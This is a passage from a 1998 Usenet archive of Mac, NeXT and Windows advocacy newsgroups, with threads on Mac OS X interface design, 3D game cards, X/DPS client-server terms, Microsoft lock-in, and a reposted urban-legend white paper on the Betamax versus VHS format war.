> > [remainder snipped as too contentious and meaningless, OMA]
>
> Put back in to show exactly what Max has no answer to, and so runs
> away from:
>
> OTOH, Arthur Dent (someone who * has * posted the following in message
> <6jss21$n8j$1@news.vic.com>:
>
> "I've been a Systems Integrator and Dealer for ... oh ... fifteen
> years now, so you might want to listen up for a bit of professional
> perspective as to why you're full of bung. <<huge snip>>
"Max Devlin"? "Arthur Dent"? Doesn´t anyone use their real names anymore? ;-)
--
Your faithful narrator,
Roberto Pavan, rpavan at physics dot ubc dot ca
Anyone who says you can have a lot of widely dispersed people hack
away on a complicated piece of code and avoid total anarchy has never
managed a software project.
--Andrew Tannenbaum, comp.os.minix, 5 Feb 92
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mac OS X UI
Date: Fri, 26 Jun 1998 11:31:32 -0700
Organization: UC Irvine, School of Engineering
Message-ID: <rmcassid-2606981131320001@dante.eng.uci.edu>
References: <forrestDELETE-THIS!-2406981804360001@term3-9.vta.west.net> <1998062502445100.WAA11995@ladder03.news.aol.com> <forrestDELETE-THIS!-2506981448220001@term1-11.vta.west.net> <rmcassid-2506981631400001@dante.eng.uci.edu> <forrestDELETE-THIS!-2506981825420001@term1-17.vta.west.net>
In article <forrestDELETE-THIS!-2506981825420001@term1-17.vta.west.net>,
forrestDELETE-THIS!@west.net (Forrest Cameranesi) wrote:
>Bob, you obviously don't have OS 8. The proper way now is to use Eject
>Disk for removables, and Put Away for non-removables (network devices, HD
>partitions, etc). Although I think it should be a generic "unmount" which
>will eject the disk if it's removable, and just unmount it if not. And
>then replace Put Away with an Undo-able Finder.
Hey, what do you know...
I do have 8, I just don't use floppies any more. :-)
Put Away still works as always and it still preferable to me since it
works on server mounts and desktop files.
-Bob Cassidy
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Date: Thu, 25 Jun 1998 15:34:47 -0700
Message-ID: <see-below-2506981534470001@dynamic21.pm01.mv.best.com>
References: <358537F3.66478A32@spamtoNull.com> <B1AAA8E4-604C8@206.165.43.126> <slrn6ob60k.5nf.sal@panix3.panix.com> <3585ECD3.59D2CFF3@spamtoNull.com> <slrn6oc005.8be.sal@panix3.panix.com> <see-below-1606982231010001@dynamic2.pm04.mv.best.com> <slrn6ofuqc.qg6.sal@panix3.panix.com> <6m8vbu$6u9$1@news.spacelab.net> <slrn6oghra.36q.sal@panix3.panix.com> <358B2D0A.3A11775@spamtoNull.com> <slrn6or9aj.h0d.sal@panix3.panix.com> <358E8686.FEBF1301@spamtoNull.com> <slrn6ot8e6.mvv.sal@panix3.panix.com> <358EB8A6.FD78CBF5@chem.uit.no> <359076CE.30A2ADC3@spamtoNull.com> <joe.ragosta-2406980835300001@0.0.0.0> <35916B00.8DB54A2E@chem.uit.no> <slrn6p4sgh.f3t.sal@panix3.panix.com>
In article <slrn6p4sgh.f3t.sal@panix3.panix.com>, sal@panix3.panix.com
(Salvatore Denaro) wrote:
> On Wed, 24 Jun 1998 23:09:20 +0200, Jostein Johansen
<jostein@chem.uit.no> wrote:
> >Yes, this was true in November (for winbench, not games), in April 1998
> >the ATI has about 38% of the top performer (Voodoo2), and by the time
>
> To be fair, the second place card was only at 57% of the V2.
Is the Matrox G200 not available yet? I thought it was.
> And the games
> tested were coded for the v2. This isn't the case on the Mac.
I think three of the games used Direct3D, the last OpenGL. None of them
use 3Dfx's Glide API (which _is_ available on the Mac).
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: G.C.Th.Wierda@AWT.nl (Gerben Wierda)
Newsgroups: comp.sys.next.advocacy
Subject: Re: DPS remote display
Date: Thu, 25 Jun 1998 11:10:35 GMT
Organization: Adviesraad voor het Wetenschaps- en Technologiebeleid
Sender: news@AWT.NL
Message-ID: <Ev3tpn.4Lv@AWT.NL>
References: <6mqs8j$7a6$1@nnrp1.dejanews.com> <Ev270v.1yw@haddock.cd.chalmers.se>
John Hornkvist <sorry@no.more.spams> wrote:
>I'd say that the server displays the interface. The client would be you
>application.
Yeah, that's the way X turned the noral idea of presening client/server
around. In terms of X: The client is using a server to connect to a client on
the server ;-)
Too bad they did not keep to the until-then normal way of describing things.
The client connects to a server.
---
Gerben Wierda,
Stafmedewerker Adviesraad voor het Wetenschaps- en Technologiebeleid.
Staff member Advisory Council for Science and Technology Policy
Javastraat 42, 2585 AP, Den Haag/The Hague, The Netherlands
Tel (+31) 70 3639922 Fax (+31) 70 3608992
http://www.AWT.nl/prive/wierda/
The fox knows many things, but the hedgehog knows one big thing.
From: xray@cs.brandeis.edu (Nathan G. Raymond)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: BETA vs. VHS URBAN LEGEND (was macs = beta, wintels = vhs)
Date: 26 Jun 1998 18:36:41 GMT
Organization: Brandeis University - Computer Science Dept.
Message-ID: <6n0pnp$ofl$1@new-news.cc.brandeis.edu>
References: <macghod-2506980011070001@sdn-ar-001casbarp024.dialsprint.net>
In article <macghod-2506980011070001@sdn-ar-001casbarp024.dialsprint.net> macghod@concentric.net (Steve Sullivan) writes:
>I had a doctors appointment yesterday. The doctor said he didnt know much
>about computers, hasnt been on the net yet, but is thinking about getting
>a internet account. I asked him what computer he has, he said a compaq
>(aka a comptrash, from what I hear they are slower than comparable p2's).
>
>I told him if he is a newby, he probably would of been better served with
>a mac. He then made the assertation which is the subject of this post.
>He said he bought a beta, and it became obsolete and he couldnt buy any
>movies for it (everything is now in vhs), and he doesnt want that to
>happen to his computer (of course this is *GUARENTEED* to happen to any
>computer you buy, pc or mac. Computers advance so quickly eventually ANY
>computer will be obsolete)
I am so ABSOLUTELY sick and tired of EVERYONE getting the Beta vs. VHS
completely wrong, I would personally LOVE to smack every single computer
journalist who has ever written about this. Morons who don't do their
research should be banned from ever publishing again in print or online
magazines. I blame those journalists for brainwashing the masses.
http://www.urbanlegends.com/products/beta_vs_vhs.html
[1][INLINE] [2]The AFU and Urban Legend Archive
[3]Products
beta vs vhs
[Select a topic.] __
[4][INLINE]
Newsgroups: alt.folklore.urban
From: hsm@unislc.slc.unisys.com (Helge Moulding)
Subject: AFU Whitepaper: The Decline and Fall of Betamax (Long)
Date: Wed, 8 May 1996 19:34:04 GMT
AFU White Paper: The Decline and Fall of Betamax
The story of Sony's Betamax (TM) format is not an isolated one, but it
is instructive. It is also surrounded by legend and myth, so a closer
look at it might be useful.
Getting To the Table
The story begins long before 1974, when the technology to record video
data on magnetic tape was maturing. By itself, it doesn't sound like a
daunting task, until the sheer volume of data is considered. There is
a practical limit to the speed with which magnetic tape can be
transported past the read/write heads of a record/playback machine;
this limit was overcome almost a decade before Sony's home market
debut by designing a head that turned past the tape, and wrote it's
information on the tape at an angle.
If you've ever peered inside your VCR and wondered why that silvery
cylinder back in there wasn't sitting straight, you know now that the
basic technology hasn't changed in thirty years.
By the 1970s there were several Japanese industry giants poised to
deliver home video taping equipment. These machines had to be orders
of magnitude more reliable than the clumsy existing professional
machines, and Sony was the first to consider their efforts market
ready. According to James Lardner, author of _Fast Forward_ (New
American Library), Sony invited Matsushita and JVC to license the
Betamax technology in December 1974. [1]
Sony's Morita was apparently not aware that JVC was almost ready to
market their own machine, so may have come as a rude surprise to him
when JVC and Matsushita declined the offer. JVC believed it had a
better product, and didn't see that the Betamax offered anything new.
Moreover, Sony's overbearing attitude in this meeting may have made a
definite impression on JVC's engineers.
Upping the Ante
In any case, for a year Sony had the VCR market to itself, selling
30,000 Betamax VCRs in the US. [2] But when JVC came out with the VHS
format VCR in 1976, the stage was set for the format wars. JVC had a
machine that already doubled Sony's recording time of one hour, and
that difference would prove crucial.
By January 1977, JVC was joined by four more Japanese electronics
manufacturers to build and market VHS format VCRs. Then, in February,
Sony abandoned its long-standing policy against OEM deals and joined
forces with Zenith.
Matsushita struck back by attempting to recruit RCA. RCA indicated
that the VHS recording limit of two hours should be increased to three
or four, and six weeks later, a prototype was ready. In March RCA
joined the VHS camp.
Bidding for the Customer
While price later was less of a factor, in 1977 the VHS manufacturers,
led by Matsushita, got into the trenches. VCR prices dropped as they
became cheaper to make. RCA led by dropping prices $300 below the Sony
machine, which caused an avalanche of follow-on price cutting.
Eventually even Sony was forced to drop its price by $200. By 1982 the
price war was in full swing, and Sony was offering a $50 dollar rebate
as a "Home Improvement Grant." [6]
The comments from the sidelines were fairly equinamous. In September
1977, the Saturday Review declared that "Eventually, the public
learned to live with two record speeds [33 1/3 and 45 rpm], and
doubtless it will also resign itself to two videotape systems."
If nothing else, these comments showed that industry observers
themselves hadn't a clue about the technology involved in the VCR.
An Unexpected Joker
Few bits of USAn history are complete without involving lawyers. In
1979, a suit brought against Sony by Universal Studios and Disney was
getting into final arguments. At stake was the question if
manufacturers of VCRs were infringing on the copyrights of producers
of movies and TV programs.
The suit, which named only Sony, eventually left Universal and Disney
with no recourse except to consider how to make money from the new
technology. Sales of VCRs were apparently unaffected by talk of the
legal procedings.
However, even as late as September 1980, the word "Betamax" was used
by many as synonymous with "VCR." [3] It is possible that the court
case had consequences on Sony's marketing that have never been
considered. This is particularly notable when combined with the fact
that Sony's share of the VCR market had sunk to 19.1% in 1978,
compared to RCA's share of almost twice that at 36%.
Who's Stuck With the Old Maid?
As Sony's market share declined, the manufacturers of prerecorded VCR
tapes began to adjust their product lines. Already in January, 1981,
Betamax format VCRs accounted for merely 25% of the entire market, and
consumers were being warned that the selection for VHS would be
"slightly broader." [4]
The Finessed King
Technologically, the two formats were each other's equal. True, except
for the recording length, Sony pioneered most of the improvements over
the years, but the VHS manufacturers caught up to each improvement,
usually in less than a year. So, for instance, within a month of
Sony's announcement of Beta Hi-Fi, JVC and Panasonsic announced VHS
Hi-Fi formats. Interestingly, the two VHS formats were incompatible
with each other. [7]
Comparisons between VCRs with similar features showed no significant
differences in performance. In fact, most of the differences could
only be seen with sensitive instruments, and likely would never show
up on most consumer grade television sets. [5] In particular, the
qualitative differences between the two formats were less than the
differences between any two samples from the same manufacturer. [8]
Cheap Tricks
Possibly because of Beta's unpopularity, Beta VCRs were much cheaper
than similar VHS VCRs by the end of 1985. A Beta HiFi VCR could sell
for half the price of a VHS Hi-Fi VCR in 1984 [9], and by the end of
1985 Betas were selling for under $300. [10]
The Fat Lady Sings
In 1987, Rolling Stone announced that "The battle is over." [11] On
Jauary 10, 1988 Sony admitted to plans for a VHS line of VCRs. VHS
players commanded 95% of the VCR market. [12]
In May 1988, Video magazine came out with an article entitled "Beta
Survival Guide." [14] And in September Sony's first VHS recorders came
off its assembly lines. [15] A year later, the Betamax share of the
consumer VCR market had dropped to less than 1%. [16]
Today the format is still around. In 1994, Video magazine published
another survival guide, explaining that the scarcity of blank Beta
tapes has consumers buying up prerecorded tapes at fire sale prices,
to record over them. [17]
Counting up the Points
Sony did not commit the sins ascribed to them by most of the pundits
explaining the demise of Betamax.
1. Sony did not "refuse to license Betamax."
In its January 25 issue, Time explained that "While at first Sony kept
its Beta technology mostly to itself, JVC, the Japanese inventor of
VHS, shared its secret with a raft of other firms." [13] This is
blatantly untrue. While Sony was decidedly behind in the licensing of
its technology, it tried from the very beginning to sign on other
manufacturers to the Beta standard.
2) Betamax was not too expensive.
Consumers buying a new VCR saw only minor pricing differences between
the two formats. Those looking for the latest technology could
apparently find Betamax machines for much less than comparable VHS
machines. (Interestingly, one article [8] that makes this statement
actually compares two machines where the VHS version is $600 dollars
cheaper than the Betamax machine. Possibly the technophile streak that
appears to be the curse of many Betamax afficionadoes influences
buying decisions much more than price.)
3) There was no shortage of prerecorded Beta tapes
This at least was true initially. Only once the Betamax share had
declined well below the VHS share, did prerecorded tape manufacturers
try to decrease their inventories.
4) The Universal and Disney's suit against Sony had no determinable
effect on Sony's standing in the VCR market. However, this issue is
less than clearcut.
Even Sony today agrees that the difference in recording length was the
difference that layed Beta low. [17] The other factor appears to have
been the one factor for which no company can control: pure luck.
References
[1] "The Format War," Video Magazine, April 1988, pp50-54+
[2] "Whatever Happened to Betamax?", Consumers' Research, May 1989, p
28
[3] "The Betamax Blues", New York, September 15, 1980, p 43
[4] "Beta/VHS What's the Difference", Video Today, January 1981, p A8
[5] "VHS Meets Beta", Popular Electronics, August 1981, p 43
[6] "Even Sony Can't Avoid the Price War in VCRs", Business Week,
September 6, 1982, p 33-34
[7] "VHS Hi-Fi: JVC Answers Back", High Fidelity, September 1983, p 65
[8] Stereo Review, April 1984, p 66
[9] "Tape Format Face-Off", High Fidelity, September 1985, p 45
[10] "To the Beta End", Forbes, Dec 16, 1985, p 178
[11] "Format Wars", Rolling Stone, Ja 15, 1987, p 43
[12] "Sony Isn't Mourning the 'Death' of Betamax", Business Week, Ja
25, 1988, p 37
[13] "Goodbye Beta", Time, Ja 25 1988, p 52
[14] "Beta Survival Guide", Video, May 88, pp 45-48
[15] "Video News", Radio Electronics, Sep 88, p 6
[16] "Whatever Happened to Betamax", Consumers' Research, May 89, p 28
[17] "Desperately Seeking Beta", Video, Feb 1994, p 42-44+
[5]http://www.urbanlegends.com/
[6]Copyright Information
References
1. http://www.urbanlegends.com/images/tafkac.gif
2. http://www.urbanlegends.com/
3. http://www.urbanlegends.com/products
4. http://www.urbanlegends.com/images/tafkac.gif
5. http://www.urbanlegends.com/
6. http://www.urbanlegends.com/copyright.html
--
Nathan Raymond
http://www.everythingmac.com
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mac OS X UI
Date: Fri, 26 Jun 1998 11:38:03 -0700
Organization: UC Irvine, School of Engineering
Message-ID: <rmcassid-2606981138030001@dante.eng.uci.edu>
References: <forrestDELETE-THIS!-2406981804360001@term3-9.vta.west.net> <1998062502445100.WAA11995@ladder03.news.aol.com> <forrestDELETE-THIS!-2506981448220001@term1-11.vta.west.net> <3592AAE4.40F8@earthlink.net>
In article <3592AAE4.40F8@earthlink.net>, skellener@earthlink.net wrote:
>If you are typing a letter (just in Simple Text) and you want to add an
>image you must open the image (pict) in Simple Text first, select all,
>copy and paste it into your document then close the image. Quite a long
>way to go don't you think?
Actually, Simpletext is one of the few apps that doesn't work this way.
But maybe that was your point...
-Bob Cassidy
From: jason@jhste1.dyn.ml.org (Jason S.)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: 26 Jun 1998 18:40:23 GMT
Organization: I don't think so
Message-ID: <slrn6p7r0m.101.jason@jhste1.dyn.ml.org>
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Roberto Pavan posted the following to comp.sys.mac.advocacy:
>"Max Devlin"? <snip> Doesn´t anyone use their real names anymore? ;-)
"T. Max Devlin" appears to be his real name. See, e.g.,
http://andrew2.andrew.cmu.edu/rfc/rfc2261.html
--
Whenever you find that you are on the side of the majority, it is time
to reform.
-- Mark Twain
From: scholl@hercules.acsu.buffalo.edu (Edward P Scholl)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Followup-To: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Date: 25 Jun 1998 18:19:25 -0400
Organization: University at Buffalo
Message-ID: <6muidd$mul$1@hercules.acsu.buffalo.edu>
References: <358537F3.66478A32@spamtoNull.com> <B1AAA8E4-604C8@206.165.43.126> <slrn6ob60k.5nf.sal@panix3.panix.com> <3585ECD3.59D2CFF3@spamtoNull.com> <slrn6oc005.8be.sal@panix3.panix.com> <see-below-1606982231010001@dynamic2.pm04.mv.best.com> <crichard.898797810@blue.weeg.uiowa.edu> <joe.ragosta-2506981458100001@wil45.dol.net>
NNTP-Posting-User: scholl
Joe Ragosta (joe.ragosta@dol.net) wrote:
: What measurement field is that? Sandbox construction.
: I'm a PhD Chemist with about 10 years of math _past algebra_. No one in
: their right mind would use that type of mathematics.
10 years of math meaning 10 classes, 1 per semester so 20 classes,
10 years experience? i think your math is also wrong, but hey.
-ed
From: Roberto Pavan <rpavan@physics.ubc.ca>
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Fri, 26 Jun 1998 20:40:56 +0200
Organization: University of Heidelberg, Germany
Message-ID: <3593EB38.95D28B16@physics.ubc.ca>
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Michael J. Peck wrote:
> It's a matter of degree. The degree to which abuses of the Constitution
> are eroding the restraint of the Federal government is highly
> disturbing. It is *increasing* in autocracy.
I´ve followed this thread a bit, and you´ve been pretty rational so far, but I
need an explanation for this one.
Out of one side of your mouth you say an organization run in large part by
officials elected by the populous and led by a man, again freely elected by that
same populous, is autocratic. (conveniently ignoring the definition of
´autocratic´)
And out of the other side you say that an organization run in no part by popularly
elected officials and led by a single man who, in this case, was only elected to
his position by a set of peers from the same organization, is not autocratic.
That is some truly impressive oral gymnastics going on there.
--
Your faithful narrator,
Roberto Pavan, rpavan at physics dot ubc dot ca
If a birth is the fall-out from the explosion caused by the union of
two unstable elements, then perhaps a half-life is all we can expect.
-- Salman Rushdie, "The Moor's Last Sigh"
From: Michael Peck <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: DPS remote display
Date: Thu, 25 Jun 1998 17:33:05 -0500
Organization: ISPNews http://ispnews.com
Message-ID: <3592D021.3D42C907@nstar.net>
References: <6mqs8j$7a6$1@nnrp1.dejanews.com> <Ev270v.1yw@haddock.cd.chalmers.se> <Ev3tpn.4Lv@AWT.NL>
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Gerben Wierda wrote:
> Too bad they did not keep to the until-then normal way of describing things.
> The client connects to a server.
That's exactly the way X does it. The client connects to an X display
server. The X server does display; that's its service.
MJP
Date: Thu, 25 Jun 1998 14:43:14 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Message-ID: <joe.ragosta-2506981443140001@wil45.dol.net>
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In article <3591E44C.F2D4811C@spamtoNull.com>, Jonathan Harker
<Limeyville@spamtoNull.com> wrote:
> quinlan@intergate.bc.ca wrote:
>
> >
> > I'm not sure if I am credable or not but I am not impressed with the quality
> > of the ATI drivers for the Mac (I do think that the UI is slick though). A
> > friend of mine just got a ATI Rage Pro for his 8600/200 and since then
he has
> > had periodic crashes during startup (the display enabler extension crashes)
> > and the resolution of the monitor resets to 640x480 periodically after
> > restart. The hardware seems fine, the problems aren't resolved after the
> > system is reinstalled and the PRAM zapped.
> >
>
>
> I'm happy to see an honest post....:)
Hmm. And your definition of an honest post is one which bashes Macs?
Other than that, how would you possibly know that this post is any more
honest than the other posts in this group?
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: 26 Jun 1998 18:45:39 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6n0q8j$o4j$1@ndnws01.ne.highway1.com>
References: <Beri1.3521$r5.1600425@proxye1.san.rr.com> <358EEC0C.248A@earthlink.net> <6mobfr$odg$1@hole.sdsu.edu> <3591FF45.40D0@earthlink.net> <6mua07$7ps$1@hole.sdsu.edu> <359355C7.35E4@earthlink.net> <3593D6F3.871ED245@nstar.net>
Michael Peck <mjpeck@nstar.net> wrote:
> I don't think that's the problem. I used NEXTSTEP for a month
> steadily and I didn't like it. What's more, when Ernest has
> commented on what he doesn't like about it, he shows a knowledge
> of the system that surpasses mine. His comments are almost always
> consistent with my experience on NEXTSTEP. I don't think you can
> generally fault his comments for lack of experience, or insight,
> at the very least.
Well, nothing will please everyone. But I wonder if NeXTSTEP was
your *primary* desktop. That you were *forced* to use it, and
nothing else. If not, then I don't accept your month's work.
Whenever I can fall back, I do. And it's not because one implementation
is better or worse, it's because I"m more comfortable with the fall
back. It's human nature to go back when you can.
When I first got my cube, I couldn't bare left scrollers. And I
had that and a 2fx for a while, and although I'd use the cube daily,
I'd shuffle back to the 2fx for a lot of things, and the contrast
just pissed me off more. Then the 2fx went away and I had to stick
with the NeXTUI, and I love left scrollers. Now, when I have to
use windows daily, I can't stand right scrollers. I don't have to
use windows as my primary UI, so I don't. The point being, it's
not a particular implementation being superior that keeps me in
one spot or another, it's my hangups.
--
Thanks, be well, take care, later, John Kheit; self expressed...
__________________________________________________________________
monoChrome, Inc. ASCII, MIME, PGP, SUN, & NeXTmail OK
NeXT/OPENSTEP Developer mailto:jkheit@xtdl.com
Telepathy, It's coming... http://www.xtdl.com/~jkheit
Franklin Pierce Law Center You're dangerous because you're honest
From: Michael Peck <mjpeck@nstar.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Fri, 26 Jun 1998 13:53:04 -0500
Organization: ISPNews http://ispnews.com
Message-ID: <3593EE10.1E4112C7@nstar.net>
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NNTP-Posting-Date: 26 Jun 1998 18:58:10 GMT
Roberto Pavan wrote:
> Out of one side of your mouth you say an organization run in large part by
> officials elected by the populous and led by a man, again freely elected by that
> same populous, is autocratic. (conveniently ignoring the definition of
> ´autocratic´)
I said that the government is increasing in autocracy. That is evident
in the growing powers of the federal government, increasingly
concentrated in the hands of a government run by a massive bureaucracy.
That bureaucracy is not elected.
> And out of the other side you say that an organization run in no part by popularly
> elected officials and led by a single man who, in this case, was only elected to
> his position by a set of peers from the same organization, is not autocratic.
You say you've been following the thread? Come up with where I said that
Microsoft is not autocratic. I claimed that the software industry was
not autocratically led by Microsoft. The context is the industry, not a
single corporation.
You made the same contextual mistake Devlin made. What's funny is that
I've already pointed out his mistake. Again, you say you've been
following the thread?
> That is some truly impressive oral gymnastics going on there.
Thanks. Do some oral gymnastics for me and explain how 'autocratic' has
formal context outside of government.
MJP
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Fri, 26 Jun 1998 12:01:19 -0700
Organization: UC Irvine, School of Engineering
Message-ID: <rmcassid-2606981201190001@dante.eng.uci.edu>
References: <rmcassid-1805981307530001@dante.eng.uci.edu> <6mh0iv$e25$1@nnrp1.dejanews.com> <6mkoqh$8lp$1@nnrp1.dejanews.com> <petrichEuyx44.Lx8@netcom.com> <rmcassid-2306980033330001@dialin9231.slip.uci.edu> <35b01a7f.29824100@news.supernews.com> <rmcassid-2306981751480001@dante.eng.uci.edu> <35cb658a.49037902@news.supernews.com> <rmcassid-2406980925040001@dante.eng.uci.edu> <joe.ragosta-2406981335410001@wil38.dol.net> <rmcassid-2406981324420001@dante.eng.uci.edu> <3593f981.18593723@news.supernews.com>
In article <3593f981.18593723@news.supernews.com>, mdevlin@eltrax.com (T.
Max Devlin) wrote:
>But I need to point out that the rest of Robert's statement was so much
>FUD. Markup elements are crap, and a waste of time and resources;
>companies of people that insist on using them will hopefully be taken
>care of in the true Darwinian manner. As for spreadsheet conversions,
>just about every spreadsheet above a certain level in the market has
>functions that other's don't. It's Microsoft's purposeful
>incompatibility that is locking you and your company into Office,
>Robert, not any operational functionality.
I never suggested it was anything else. But you must keep in mind that 80%
of the people out there don't have the will and presence of mind to resist
the marketing and job security that MS brings. That leaves the remaining
20% often at their mercy.
>If you need your applications to support exchanging files to the extent
>you indicate, I'm sorry to say but it is my professionally opinion as a
>PC, networking, and process-workflow consultant that you are exchanging
>files too much.
Of course we are. _I_ know we are screwed up, but that is the reality of
things here. And I know that around this campus, there is probably no
office that is much better.
>But then, I don't understand why people see value in getting locked into
>a monopoly. A lot of people think that actual inconvenience is too much
>to ask in exchange for choice, efficiency, and innovation.
If it were my choice to make, I wouldn't lock myself in. But it's not, so
I have to make things work as best I can... This is the *key* to MSs
success - markeshare through desperation. MS delivers what people want
because MS got half the world to screw everything up and only they can
deliver the fix to the half that are now stuck.
-Bob Cassidy
From: Michael Peck <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Fri, 26 Jun 1998 13:56:48 -0500
Organization: ISPNews http://ispnews.com
Message-ID: <3593EEF0.4785E327@nstar.net>
References: <Beri1.3521$r5.1600425@proxye1.san.rr.com> <358EEC0C.248A@earthlink.net> <6mobfr$odg$1@hole.sdsu.edu> <3591FF45.40D0@earthlink.net> <6mua07$7ps$1@hole.sdsu.edu> <359355C7.35E4@earthlink.net> <3593D6F3.871ED245@nstar.net> <6n0q8j$o4j$1@ndnws01.ne.highway1.com>
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NNTP-Posting-Date: 26 Jun 1998 19:01:54 GMT
John Kheit wrote:
> Well, nothing will please everyone. But I wonder if NeXTSTEP was
> your *primary* desktop. That you were *forced* to use it, and
> nothing else. If not, then I don't accept your month's work.
> Whenever I can fall back, I do. And it's not because one implementation
> is better or worse, it's because I"m more comfortable with the fall
> back. It's human nature to go back when you can.
Eh? You don't accept my month's work. That would be funny if it weren't
so boorish.
Sort of a chicken-and-egg problem, no? You've got to *love* the system
before you understand it. You've got to *understand* the system before
you love it. I'm more convinced than ever that most NEXTSTEP users
simply fell in love with a screenshot and started using it.
> When I first got my cube, I couldn't bare left scrollers. And I
> had that and a 2fx for a while, and although I'd use the cube daily,
> I'd shuffle back to the 2fx for a lot of things, and the contrast
> just pissed me off more. Then the 2fx went away and I had to stick
> with the NeXTUI, and I love left scrollers.
Whose experience is more rational? It sounds like you're biased by
circumstance.
> Now, when I have to
> use windows daily, I can't stand right scrollers. I don't have to
> use windows as my primary UI, so I don't. The point being, it's
> not a particular implementation being superior that keeps me in
> one spot or another, it's my hangups.
Oh. Now I feel stupid. I should have realized I was talking to John
Kheit. Please don't hold my insults against me. It's hard to argue with
someone who's so self-effacing.
Be well, John. :-)
MJP
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Academic ratings applied to computer field over last 10 to 20 years
Date: 26 Jun 1998 14:24:15 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6n0auf$r0e$2@ns3.vrx.net>
References: <6mmfdv$5l4$1@nnrp1.dejanews.com> <billa-2206981913080001@archbald-96.slip.uiuc.edu>
<6moqam$4os$1@nnrp1.dejanews.com> <359011E4.C8A51B95@cisco.com>
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Cc: jcr.remove@this.phrase.idiom.com
In <6n0raf$6hl$1@supernews.com> John C. Randolph claimed:
> Maury, don't make this mistake. Sure, you can use Java to program with
> OpenStep, but you'll be crippling yourself.
For now perhaps, but this will definitely change.
> Why take the performance hit?
What performance hit?
> For Portability? (Hint: Java isn't portable.
Why do you think they invented OpenStep?
> scuttle it, and they've suceeded.) For ease of use? (Objective-C has a
> much shorter learning curve.)
I disagree, I find Obj-C to be cleaner, but both to be similar enough in
concept that ther learning curve is pretty much equal.
Maury
From: "Charles W. Swiger" <chuck@codefab.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: 26 Jun 1998 19:20:43 GMT
Organization: Spacelab.net Internet Access
Message-ID: <6n0sab$dla$2@news.spacelab.net>
References: <Beri1.3521$r5.1600425@proxye1.san.rr.com> <358EEC0C.248A@earthlink.net> <6mobfr$odg$1@hole.sdsu.edu> <3591FF45.40D0@earthlink.net> <6mua07$7ps$1@hole.sdsu.edu> <359355C7.35E4@earthlink.net> <3593D6F3.871ED245@nstar.net>
Michael Peck <mjpeck@nstar.net> wrote:
>Steve Kellener wrote:
>> tomlinson wrote:
[ ... ]
>>> Rhapsody DR2 only, as well as a few hours' use on an old NeXT
>>> cube in the Jorgenson Lab at 'Tech. My opinion stands: the
>>> NeXT GUI may take a good screen shot but it unnecessarily
>>> ornamented.
>>
>> So you really HAVEN'T used NEXTSTEP. There's your first problem. Try
>> using it for a month steadily.
>
>I don't think that's the problem. I used NEXTSTEP for a month steadily
>and I didn't like it. What's more, when Ernest has commented on what he
>doesn't like about it, he shows a knowledge of the system that surpasses
>mine. His comments are almost always consistent with my experience on
>NEXTSTEP. I don't think you can generally fault his comments for lack of
>experience, or insight, at the very least.
My objection is the association of Rhapsody's GUI with NEXTSTEP's GUI. They
aren't the same, and many of his objections are perfectly valid for RDR, but
don't apply to NEXTSTEP.
-Chuck
Charles Swiger | chuck@codefab.com | standard disclaimer
---------------+-------------------+--------------------
"Microsoft: we make the easy almost impossible."
From: "Charles W. Swiger" <chuck@codefab.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: 26 Jun 1998 19:14:51 GMT
Organization: Spacelab.net Internet Access
Message-ID: <6n0rvb$dla$1@news.spacelab.net>
References: <Beri1.3521$r5.1600425@proxye1.san.rr.com> <358EEC0C.248A@earthlink.net> <6mobfr$odg$1@hole.sdsu.edu> <3591FF45.40D0@earthlink.net> <6mua07$7ps$1@hole.sdsu.edu> <6mucfv$abh$1@news.spacelab.net> <6murqm$998$3@hole.sdsu.edu>
etomlins@rohan.sdsu.edu (tomlinson) wrote:
>Charles W. Swiger (chuck@codefab.com) wrote:
